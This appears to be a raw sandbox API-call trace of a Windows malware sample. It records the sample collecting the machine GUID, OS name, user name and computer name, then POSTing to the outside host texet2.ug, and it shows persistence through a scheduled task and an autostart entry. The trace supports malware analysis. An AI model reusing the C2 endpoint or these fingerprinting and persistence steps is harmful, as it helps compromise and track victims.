AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e2fd, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e2f8 | out: pSid=0x18e2f8*=0x5889b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0052.704] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x5889b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e2f4 | out: IsMember=0x18e2f4) returned 1 [0052.704] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e2fd, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e2f8 | out: pSid=0x18e2f8*=0x5889b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0052.704] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x5889b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e2f4 | out: IsMember=0x18e2f4) returned 1 [0052.705] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e2fa, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e2ec | out: pSid=0x18e2ec*=0x5889b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0052.719] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x5889b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x18e2f4, ReferencedDomainName=0x0, cchReferencedDomainName=0x18e2f0, peUse=0x18e2e8 | out: Name=0x0, cchName=0x18e2f4, ReferencedDomainName=0x0, cchReferencedDomainName=0x18e2f0, peUse=0x18e2e8) returned 0 [0052.730] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x5889b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x18e2e4 | out: IsMember=0x18e2e4) returned 1 [0052.731] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e27c | out: phkResult=0x18e27c*=0xe4) returned 0x0 [0052.731] RegQueryValueExW (in: hKey=0xe4, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e284, lpData=0x18e07c, lpcbData=0x18e280*=0xfe | out: lpType=0x18e284*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e280*=0x4a) returned 0x0 [0052.731] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d2a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fèzX", lpUsedDefaultChar=0x0) returned 36 [0052.731] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e290 | out: phkResult=0x18e290*=0xe0) returned 0x0 [0052.731] RegQueryValueExW (in: hKey=0xe0, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e298, lpData=0x18e090, lpcbData=0x18e294*=0xfe | out: lpType=0x18e298*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e294*=0x2e) returned 0x0 [0052.731] RegCloseKey (hKey=0x80000002) returned 0x0 [0052.731] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d2a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53fèzX", lpUsedDefaultChar=0x0) returned 22 [0052.731] GetUserNameW (in: lpBuffer=0x18e0b4, pcbBuffer=0x18e0b0 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e0b0) returned 1 [0052.734] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d2a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53fèzX", lpUsedDefaultChar=0x0) returned 20 [0052.734] GetComputerNameW (in: lpBuffer=0x18e0b4, nSize=0x18e0b0 | out: lpBuffer="XDUWTFONO", nSize=0x18e0b0) returned 1 [0052.734] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18d2a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53fèzX", lpUsedDefaultChar=0x0) returned 9 [0052.734] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="A6CF1546B-343A2EC6-63D8DC88-FF4A8C5D-82A11F69") returned 0xe8 [0052.734] GetLastError () returned 0x0 [0052.735] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e280 | out: phkResult=0x18e280*=0xf0) returned 0x0 [0052.735] RegQueryValueExW (in: hKey=0xf0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e288, lpData=0x18e080, lpcbData=0x18e284*=0xfe | out: lpType=0x18e288*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e284*=0x4a) returned 0x0 [0052.735] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d2ac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\x10Ó\x18", lpUsedDefaultChar=0x0) returned 36 [0052.735] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e294 | out: phkResult=0x18e294*=0xf4) returned 0x0 [0052.735] RegQueryValueExW (in: hKey=0xf4, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e29c, lpData=0x18e094, lpcbData=0x18e298*=0xfe | out: lpType=0x18e29c*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e298*=0x2e) returned 0x0 [0052.735] RegCloseKey (hKey=0x80000002) returned 0x0 [0052.735] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d2ac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f\x10Ó\x18", lpUsedDefaultChar=0x0) returned 22 [0052.735] GetUserNameW (in: lpBuffer=0x18e0b8, pcbBuffer=0x18e0b4 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e0b4) returned 1 [0052.735] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d2ac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f\x10Ó\x18", lpUsedDefaultChar=0x0) returned 20 [0052.735] GetComputerNameW (in: lpBuffer=0x18e0b8, nSize=0x18e0b4 | out: lpBuffer="XDUWTFONO", nSize=0x18e0b4) returned 1 [0052.736] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18d2ac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f\x10Ó\x18", lpUsedDefaultChar=0x0) returned 9 [0052.737] GetModuleHandleA (lpModuleName="wininet.dll") returned 0x0 [0052.737] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x753d0000 [0052.743] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0052.743] GetProcAddress (hModule=0x753d0000, lpProcName="InternetConnectA") returned 0x753f49e9 [0052.743] GetProcAddress (hModule=0x753d0000, lpProcName="HttpOpenRequestA") returned 0x753f4c7d [0052.744] GetProcAddress (hModule=0x753d0000, lpProcName="HttpAddRequestHeadersA") returned 0x753edcd2 [0052.744] GetProcAddress (hModule=0x753d0000, lpProcName="HttpSendRequestA") returned 0x754618f8 [0052.744] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0052.744] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0052.744] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCrackUrlA") returned 0x753dd075 [0052.744] GetProcAddress (hModule=0x753d0000, lpProcName="InternetSetOptionA") returned 0x753e75e8 [0052.744] InternetCrackUrlA (in: lpszUrl="http://texet2.ug/1/index.php", dwUrlLength=0x1c, dwFlags=0x90000000, lpUrlComponents=0x18d44c | out: lpUrlComponents=0x18d44c) returned 1 [0052.804] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0052.805] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x18e2b8, dwBufferLength=0x4) returned 1 [0052.805] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x18e2b8, dwBufferLength=0x4) returned 1 [0052.805] InternetConnectA (hInternet=0xcc0004, lpszServerName="texet2.ug", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0052.805] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/1/index.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84003300, dwContext=0x0) returned 0xcc000c [0052.806] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="", dwHeadersLength=0x0, lpOptional=0x1d604c4*, dwOptionalLength=0x67) Thread: id = 62 os_tid = 0x80c Thread: id = 63 os_tid = 0x810 Thread: id = 64 os_tid = 0x814 Thread: id = 65 os_tid = 0x818 Thread: id = 66 os_tid = 0x81c Thread: id = 67 os_tid = 0x820 Process: id = "12" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x42cd8000" os_pid = "0x830" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "5" os_parent_pid = "0x714" cmd_line = "taskeng.exe {1F6180C3-866B-4F21-AF81-C0510D25BC0E} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 71 os_tid = 0x834 Thread: id = 72 os_tid = 0x838 Thread: id = 73 os_tid = 0x83c Thread: id = 74 os_tid = 0x840 Thread: id = 75 os_tid = 0x844 Thread: id = 76 os_tid = 0x848 Thread: id = 77 os_tid = 0x84c Process: id = "13" image_name = "a959.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\34ab4241-89d8-4896-a0ef-745528a314bb\\a959.tmp.exe" page_root = "0x41f93000" os_pid = "0x850" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x830" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0x854 Thread: id = 79 os_tid = 0x8f4 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 83 os_tid = 0x414 Thread: id = 84 os_tid = 0x724 Thread: id = 85 os_tid = 0x3b0 Thread: id = 86 os_tid = 0x754 Thread: id = 87 os_tid = 0x704 Thread: id = 88 os_tid = 0x6e0 Thread: id = 89 os_tid = 0x6b0 Thread: id = 90 os_tid = 0x698 Thread: id = 91 os_tid = 0x678 Thread: id = 92 os_tid = 0x630 Thread: id = 93 os_tid = 0x610 Thread: id = 94 os_tid = 0x14c Thread: id = 95 os_tid = 0x140 Thread: id = 96 os_tid = 0x158 Thread: id = 97 os_tid = 0x294 Thread: id = 98 os_tid = 0x218 Thread: id = 99 os_tid = 0x230 Thread: id = 100 os_tid = 0x21c Thread: id = 101 os_tid = 0x1c4 Thread: id = 103 os_tid = 0xabc Thread: id = 104 os_tid = 0xad4 Process: id = "15" image_name = "a959.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\34ab4241-89d8-4896-a0ef-745528a314bb\\a959.tmp.exe" page_root = "0x7ae9f000" os_pid = "0x4d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e163" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 105 os_tid = 0x4d8 [0095.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x30140ec0, dwHighDateTime=0x1d53559)) [0095.621] GetCurrentProcessId () returned 0x4d4 [0095.621] GetCurrentThreadId () returned 0x4d8 [0095.621] GetTickCount () returned 0x4162 [0095.621] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=6295398422) returned 1 [0098.494] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x452124)) [0098.494] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.494] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x570000 [0098.495] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e10000 [0098.495] GetProcAddress (hModule=0x75e10000, lpProcName="FlsAlloc") returned 0x75e24f2b [0098.495] GetProcAddress (hModule=0x75e10000, lpProcName="FlsGetValue") returned 0x75e21252 [0098.495] GetProcAddress (hModule=0x75e10000, lpProcName="FlsSetValue") returned 0x75e24208 [0098.495] GetProcAddress (hModule=0x75e10000, lpProcName="FlsFree") returned 0x75e2359f [0098.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x214) returned 0x5707d0 [0098.496] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e10000 [0098.496] GetCurrentThreadId () returned 0x4d8 [0098.496] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x44c794, hStdOutput=0x44cb47, hStdError=0x5707d0)) [0098.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x5709f0 [0098.496] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.496] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0098.496] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.496] SetHandleCount (uNumber=0x20) returned 0x20 [0098.497] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart" [0098.497] GetEnvironmentStringsW () returned 0x5c1f80* [0098.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0098.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x581) returned 0x5711f8 [0098.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x5711f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0098.497] FreeEnvironmentStringsW (penv=0x5c1f80) returned 1 [0098.497] GetLastError () returned 0x5 [0098.497] SetLastError (dwErrCode=0x5) [0098.497] GetLastError () returned 0x5 [0098.497] SetLastError (dwErrCode=0x5) [0098.497] GetLastError () returned 0x5 [0098.497] SetLastError (dwErrCode=0x5) [0098.497] GetACP () returned 0x4e4 [0098.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x220) returned 0x571788 [0098.497] GetLastError () returned 0x5 [0098.497] SetLastError (dwErrCode=0x5) [0098.497] IsValidCodePage (CodePage=0x4e4) returned 1 [0098.497] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0098.497] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0098.497] GetLastError () returned 0x5 [0098.497] SetLastError (dwErrCode=0x5) [0098.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0098.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0098.498] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0098.498] GetLastError () returned 0x5 [0098.498] SetLastError (dwErrCode=0x5) [0098.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0098.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䥩獕鹀EĀ") returned 256 [0098.498] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䥩獕鹀EĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0098.498] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䥩獕鹀EĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0098.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 